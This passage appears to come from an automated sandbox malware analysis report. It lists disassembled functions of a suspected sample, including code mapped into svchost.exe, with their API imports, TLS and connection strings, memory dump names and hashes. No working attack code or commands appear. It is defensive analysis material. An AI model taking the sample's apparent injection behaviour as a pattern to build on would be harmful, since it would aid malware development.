Instruction Fuzzy Hash: C8311422A1E68185EAB0DB15F45137BA390FBC5B84F405535F68DC7B9ADF3CD9058B40

Function 00007FF6A54D42F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D439C

Strings

%, xrefs: 00007FF6A54D4311
+, xrefs: 00007FF6A54D432A

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: 214541328d5f729f19efb773aafc6364229d09249fa7ec4ef70a7dabdd92834e
Instruction ID: 8ec22b3d11992c0cf9d12a4368eaba7da3b60f6bb8dc413fbfb8e12a0725da67
Opcode Fuzzy Hash: 214541328d5f729f19efb773aafc6364229d09249fa7ec4ef70a7dabdd92834e
Instruction Fuzzy Hash: DA21C123A09BC486E7618B15E4413EEA7D1EB9AB84F588135EECC47B89DF7CD849C701

Function 00007FF6A54D43FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D44A8

Strings

%, xrefs: 00007FF6A54D441D
+, xrefs: 00007FF6A54D4436

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: cf3ead370c83b5dd9dd6760c00b6334785b01015155d8373cf9d9c6094265cd1
Instruction ID: ccb6b893f67b7cc6ed652bb7201894325685800d7cf4b22d93a6b3e1b2a63563
Opcode Fuzzy Hash: cf3ead370c83b5dd9dd6760c00b6334785b01015155d8373cf9d9c6094265cd1
Instruction Fuzzy Hash: A721E363609BC486E721CB11E4003EAA791EB96B84F588035EB8C47789EF7CD849C741

Function 00007FF6A54BADE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BAE92

Strings

%, xrefs: 00007FF6A54BAE04
+, xrefs: 00007FF6A54BAE1F

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: 878a32fafce56c8b395b74503d483490d2726d2ab9b2f90dcc8c23c1d9491d03
Instruction ID: 698205579580f7e8997fa8ab14e4c9fcf8573f96d330510e77993ced7ffb70f5
Opcode Fuzzy Hash: 878a32fafce56c8b395b74503d483490d2726d2ab9b2f90dcc8c23c1d9491d03
Instruction Fuzzy Hash: FF31D1226097C185EB21DB15E4503EEBB51EB9AB84F488131DB8C47B86DF2CD808C740

Function 00007FF6A54D50A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D5154

Strings

%, xrefs: 00007FF6A54D50C9
+, xrefs: 00007FF6A54D50E2

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: f7f790b15928669f63ac0b4bd1071fd05430d6de74a0598950a63e88146ec23f
Instruction ID: ca494c6c766f883cc5c7917f5d7f552641ecccd8358d1d2cdddc1d892db75e44
Opcode Fuzzy Hash: f7f790b15928669f63ac0b4bd1071fd05430d6de74a0598950a63e88146ec23f
Instruction Fuzzy Hash: E021C313A09BC486E7619715E8553EEA7E1EBAAB84F548035DBCC47B89DF3CD848C701

Function 00007FF6A54D4F9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D5048

Strings

%, xrefs: 00007FF6A54D4FBD
+, xrefs: 00007FF6A54D4FD6

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: c2cebb0d2db251b0343e21a4ec402bc5d03543fa8c884b3aae93db9ab374962e
Instruction ID: 87c6d3e4d7fd9f66c891b9646dbbeb4d5c5acd3633f622633e5e9b4aa32f228f
Opcode Fuzzy Hash: c2cebb0d2db251b0343e21a4ec402bc5d03543fa8c884b3aae93db9ab374962e
Instruction Fuzzy Hash: 9821C113A09BC486E761DB15E4403EAA7D1EBAAB84F588035EB8C47B89DF7CD849C741

Function 00007FF6A54BACC8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BAD7A

Strings

%, xrefs: 00007FF6A54BACEC
+, xrefs: 00007FF6A54BAD07

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: 78d6123ef02fb1bf05b91fda63058ecc439cceb972afb1d65488007b91d071b8
Instruction ID: 0036bc25ce632f60f9df3ae4fa385edced900e9a2aff7bed992c1c5d00bcdb2c
Opcode Fuzzy Hash: 78d6123ef02fb1bf05b91fda63058ecc439cceb972afb1d65488007b91d071b8
Instruction Fuzzy Hash: 8731E32360D7C589EB21DB15E4503EEAB61EB9AB84F488031DB8C47B86DF3CD808C700

Function 00007FF6A54BA5A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BA64E

Strings

+, xrefs: 00007FF6A54BA5E5
%, xrefs: 00007FF6A54BA5D2

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: faf60231c9281e8de667494f4fdb26f10e9e1cb6ef4151b568b2444df3f7d491
Instruction ID: 86262ec8d7b8fe2d0c7499c0a51e0fd49a8f9478403f93d5d9a4c6cb0e0d2ffd
Opcode Fuzzy Hash: faf60231c9281e8de667494f4fdb26f10e9e1cb6ef4151b568b2444df3f7d491
Instruction Fuzzy Hash: AB21C56260D7C585E721DB15E4503EEB7A1E79AB84F188031DACC43B8ACF3CD806CB50

Function 00007FF6A54D4884 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D4927

Strings

+, xrefs: 00007FF6A54D48BE
%, xrefs: 00007FF6A54D48AB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: f857a7e068703c22f70bc0f352c5e21d3c434051c1a161e5696b6eb9032e93f2
Instruction ID: 98965c32d86e8a964a70ca76d72a69af6a6a616e082d2623c15a21949231ca1d
Opcode Fuzzy Hash: f857a7e068703c22f70bc0f352c5e21d3c434051c1a161e5696b6eb9032e93f2
Instruction Fuzzy Hash: 2B21D823A0D7C485E721C725E4007EEB791EB9AB84F548131EA8C47B89DF7CD846C750

Function 00007FF6A54BA49C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54BA542

Strings

+, xrefs: 00007FF6A54BA4D9
%, xrefs: 00007FF6A54BA4C6

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: e831e4c375957cd0e5e716f3444b2a4ed1febba7d1a1f0e2d7acaf4f82e84b1c
Instruction ID: 9fc5094d9eaa19b54ce5233cb278ca5b1e507d942327dc1ecc7d5eb1ea2c6e4b
Opcode Fuzzy Hash: e831e4c375957cd0e5e716f3444b2a4ed1febba7d1a1f0e2d7acaf4f82e84b1c
Instruction Fuzzy Hash: 9321C32260D7C585E721DB19E4403EEB7A1E79AB88F588031DA8C47B8ADF3CD906C751

Function 00007FF6A54D3BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6A54D3C7B

Strings

+, xrefs: 00007FF6A54D3C12
%, xrefs: 00007FF6A54D3BFF

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: swprintf
String ID: %$+
API String ID: 233258989-2626897407
Opcode ID: 46e15a95bb962e2dd417d488284b3fd0ee0fd895637bd75e109c08b0388ab4dc
Instruction ID: 76649d6a6f8375afc5c2317a7bc293621e922e4c395e7ed0baa61350cbab886f
Opcode Fuzzy Hash: 46e15a95bb962e2dd417d488284b3fd0ee0fd895637bd75e109c08b0388ab4dc
Instruction Fuzzy Hash: 9221D82360E7C485E721D715E4447EEB7A1EBAAB88F588131DA8C47B89DF3CD846C700

Function 00007FF6A54A1F20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF6A54A1FDE
CoGetObject.OLE32 ref: 00007FF6A54A2023

Strings

0, xrefs: 00007FF6A54A1F8E

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Objectshared_ptr
String ID: 0
API String ID: 1638491571-4108050209
Opcode ID: f0e70b0fbdc1e3320b1f4b6d5346711075dcbb57718dc63cfcd297f1e3befe2f
Instruction ID: 025d0a10e782524aef9c12ef56e32d8a0b55644df6d60a5e8dc149e1b3dfb3be
Opcode Fuzzy Hash: f0e70b0fbdc1e3320b1f4b6d5346711075dcbb57718dc63cfcd297f1e3befe2f
Instruction Fuzzy Hash: 24313A7251D6C685EB60DB10E0947AFB7A0F785B88F400136E68E87A69DF3CD944CF40

Function 00007FF6A54DE318 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6A54DDB83), ref: 00007FF6A54DE368
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6A54DDB83), ref: 00007FF6A54DE3A9

Strings

csm, xrefs: 00007FF6A54DE396

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: cecfb8893822065352edba2dbd42223096cc233a49940044e064f560193aab1a
Instruction ID: 0c6fc8de3e629a3d212fc6307805b85bc755196f6456033dc09981459fd5025d
Opcode Fuzzy Hash: cecfb8893822065352edba2dbd42223096cc233a49940044e064f560193aab1a
Instruction Fuzzy Hash: E0115B32619B8082EB60CB15E44026977E5FB89F98F584231EE8D47754DF3CC9618B00

Function 00007FF6A54A3600 Relevance: 5.0, APIs: 4, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6A54A361E
HeapFree.KERNEL32 ref: 00007FF6A54A362E
CloseHandle.KERNEL32 ref: 00007FF6A54A364A
CloseHandle.KERNEL32 ref: 00007FF6A54A3664

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CloseHandleHeap$FreeProcess
String ID:
API String ID: 4176491614-0
Opcode ID: 4ffdf59a764e06fd56a93af4675fc0a0a6384d06bfcaaf876b97e7f445c73c96
Instruction ID: f4f63b3b2174c6dedef56357943cf46895613d6fc78f62f315be2f905a97d72b
Opcode Fuzzy Hash: 4ffdf59a764e06fd56a93af4675fc0a0a6384d06bfcaaf876b97e7f445c73c96
Instruction Fuzzy Hash: 6B01FF25929B8181D694CB15E48832963B0FBCAF65F405235E66F837F4DF3CD885C700

Analysis Process: svchost.exePID: 7628, Parent PID: 2692COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	1663
Total number of Limit Nodes:	70

Executed Functions

Function 00000173D01B04A6 Relevance: 177.7, APIs: 57, Strings: 44, Instructions: 927COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B085B

Part of subcall function 00000173D01AC700: GetModuleHandleA.KERNEL32 ref: 00000173D01AC746
Part of subcall function 00000173D01AC700: GetProcAddress.KERNEL32 ref: 00000173D01AC756

Strings

schannel: Failed to import cert file %s, password is bad, xrefs: 00000173D01B0B93
Microsoft Unified Security Protocol Provider, xrefs: 00000173D01B1262
CurrentUser, xrefs: 00000173D01B05DF
TLS_AES_128_GCM_SHA256, xrefs: 00000173D01B0DA9
schannel: certificate format compatibility error for %s, xrefs: 00000173D01B07B1
TLS_AES_128_CCM_SHA256, xrefs: 00000173D01B0E42
P12, xrefs: 00000173D01B0786
schannel: WARNING: This version of Schannel may negotiate a less-secure TLS version than TLS 1.3 because the user set an algorithm cipher list., xrefs: 00000173D01B10A1
CurrentUserGroupPolicy, xrefs: 00000173D01B068C
schannel: Failed to import cert file %s, last error is 0x%lx, xrefs: 00000173D01B0BAC
schannel: Failed to open cert store %lx %s, last error is 0x%lx, xrefs: 00000173D01B0828
TLS_AES_128_CCM_8_SHA256, xrefs: 00000173D01B0E0E
AES, xrefs: 00000173D01B0EBD
schannel: Failed to read cert file %s, xrefs: 00000173D01B0A5C
USE_STRONG_CRYPTO, xrefs: 00000173D01B1192
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00000173D01B12B9
schannel: Failed setting algorithm cipher list, xrefs: 00000173D01B11FD
LocalMachineEnterprise, xrefs: 00000173D01B06CA
schannel: TLS 1.3 not supported on Windows prior to 11, xrefs: 00000173D01B05A6
, xrefs: 00000173D01B0F00
SCH_USE_STRONG_CRYPTO, xrefs: 00000173D01B11AC
ChainingModeGCM, xrefs: 00000173D01B0F68
TLS_AES_256_GCM_SHA384, xrefs: 00000173D01B0D7D
TLS_CHACHA20_POLY1305_SHA256, xrefs: 00000173D01B0DDA
$, xrefs: 00000173D01B0FFB
schannel: Unknown TLS 1.3 cipher: %.*s, xrefs: 00000173D01B0E90
(memory blob), xrefs: 00000173D01B079B, 00000173D01B0979
LocalMachine, xrefs: 00000173D01B060A
ChainingModeCCM, xrefs: 00000173D01B0F07
@, xrefs: 00000173D01B0F4B
LocalMachineGroupPolicy, xrefs: 00000173D01B06AB
schannel: unable to allocate memory, xrefs: 00000173D01B093C
Services, xrefs: 00000173D01B064E
SHA384, xrefs: 00000173D01B0F8C
CHACHA20_POLY1305, xrefs: 00000173D01B0FE9
schannel: Failed to get certificate location or file for %s, xrefs: 00000173D01B130C
schannel: All available TLS 1.3 ciphers were disabled, xrefs: 00000173D01B0EE1
SHA256, xrefs: 00000173D01B0F93
CurrentService, xrefs: 00000173D01B062C
Users, xrefs: 00000173D01B066D
, xrefs: 00000173D01B0F6F
(unknown), xrefs: 00000173D01B0817
schannel: Failed to get certificate from file %s, last error is 0x%lx, xrefs: 00000173D01B0BFB
schannel: This version of Schannel does not support setting an algorithm cipher list and TLS 1.3 cipher list at the same time, xrefs: 00000173D01B10B7

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProcfree
String ID: $ $$$(memory blob)$(unknown)$@$AES$CHACHA20_POLY1305$ChainingModeCCM$ChainingModeGCM$CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$P12$SCH_USE_STRONG_CRYPTO$SHA256$SHA384$Services$TLS_AES_128_CCM_8_SHA256$TLS_AES_128_CCM_SHA256$TLS_AES_128_GCM_SHA256$TLS_AES_256_GCM_SHA384$TLS_CHACHA20_POLY1305_SHA256$USE_STRONG_CRYPTO$Users$schannel: AcquireCredentialsHandle failed: %s$schannel: All available TLS 1.3 ciphers were disabled$schannel: Failed setting algorithm cipher list$schannel: Failed to get certificate from file %s, last error is 0x%lx$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%lx$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %lx %s, last error is 0x%lx$schannel: Failed to read cert file %s$schannel: TLS 1.3 not supported on Windows prior to 11$schannel: This version of Schannel does not support setting an algorithm cipher list and TLS 1.3 cipher list at the same time$schannel: Unknown TLS 1.3 cipher: %.*s$schannel: WARNING: This version of Schannel may negotiate a less-secure TLS version than TLS 1.3 because the user set an algorithm cipher list.$schannel: certificate format compatibility error for %s$schannel: unable to allocate memory
API String ID: 3799942571-230586194
Opcode ID: 64750cf7fc75ecf1a52b74ce0a571676b61e8a684627b3f2986ccd449495d6e1
Instruction ID: 0567e7d9c4d39772a308cfc91562ba82225d042035ea54c94e5c4c716df1d71f
Opcode Fuzzy Hash: 64750cf7fc75ecf1a52b74ce0a571676b61e8a684627b3f2986ccd449495d6e1
Instruction Fuzzy Hash: C1929139608B4185FB328FA5E8903EDA7B0B746FD8F844115DA6E47BA5FB78C644E700

Function 00000173D01A6B50 Relevance: 46.0, APIs: 14, Strings: 12, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Re-using existing connection with %s %s, xrefs: 00000173D01A72F2
NTLM picked AND auth done set, clear picked, xrefs: 00000173D01A73C2
%u/%d/%s, xrefs: 00000173D01A6EA6
host, xrefs: 00000173D01A72E4
No connections available in cache, xrefs: 00000173D01A7351
NTLM-proxy picked AND auth done set, clear picked, xrefs: 00000173D01A73F0
proxy, xrefs: 00000173D01A72DD
ftp@example.com, xrefs: 00000173D01A6CE0
No more connections allowed to host, xrefs: 00000173D01A748E
No connections available., xrefs: 00000173D01A749D
anonymous, xrefs: 00000173D01A6CD9
Allowing DoH to override max connection limit, xrefs: 00000173D01A735B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID: %u/%d/%s$Allowing DoH to override max connection limit$NTLM picked AND auth done set, clear picked$NTLM-proxy picked AND auth done set, clear picked$No connections available in cache$No connections available.$No more connections allowed to host$Re-using existing connection with %s %s$anonymous$ftp@example.com$host$proxy
API String ID: 0-2902238462
Opcode ID: 2b05b9d7d767020b8d379a144df4db33f2fea9fa66fb0a38a5545a4e1ad473dc
Instruction ID: 0e063f906104429761d4ad894316edb5073df14ba151284cf1b8e3b3f50dd596
Opcode Fuzzy Hash: 2b05b9d7d767020b8d379a144df4db33f2fea9fa66fb0a38a5545a4e1ad473dc
Instruction Fuzzy Hash: F2427D3A208B8086EB668FA1D8403EDA7B4F745FC8F8841259EAD57395EF34D752E310

Function 00000173D019FE30 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 152
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00000173D019FE58
WSACleanup.WS2_32 ref: 00000173D019FE73
GetModuleHandleW.KERNEL32 ref: 00000173D019FEBC
GetProcAddress.KERNEL32 ref: 00000173D019FEF0
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019FF0A
LoadLibraryW.KERNEL32 ref: 00000173D019FF2F
GetProcAddress.KERNEL32 ref: 00000173D019FF4C
LoadLibraryExW.KERNELBASE ref: 00000173D019FF62
GetSystemDirectoryW.KERNEL32 ref: 00000173D019FF78
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019FF94
GetSystemDirectoryW.KERNEL32 ref: 00000173D019FFA8
LoadLibraryW.KERNEL32 ref: 00000173D01A0014
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A0020
GetProcAddress.KERNEL32 ref: 00000173D01A0054
QueryPerformanceFrequency.KERNEL32 ref: 00000173D01A0093

Strings

if_nametoindex, xrefs: 00000173D01A004A
iphlpapi.dll, xrefs: 00000173D019FEF6
AddDllDirectory, xrefs: 00000173D019FF42
kernel32, xrefs: 00000173D019FEAB
LoadLibraryExW, xrefs: 00000173D019FEDE

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
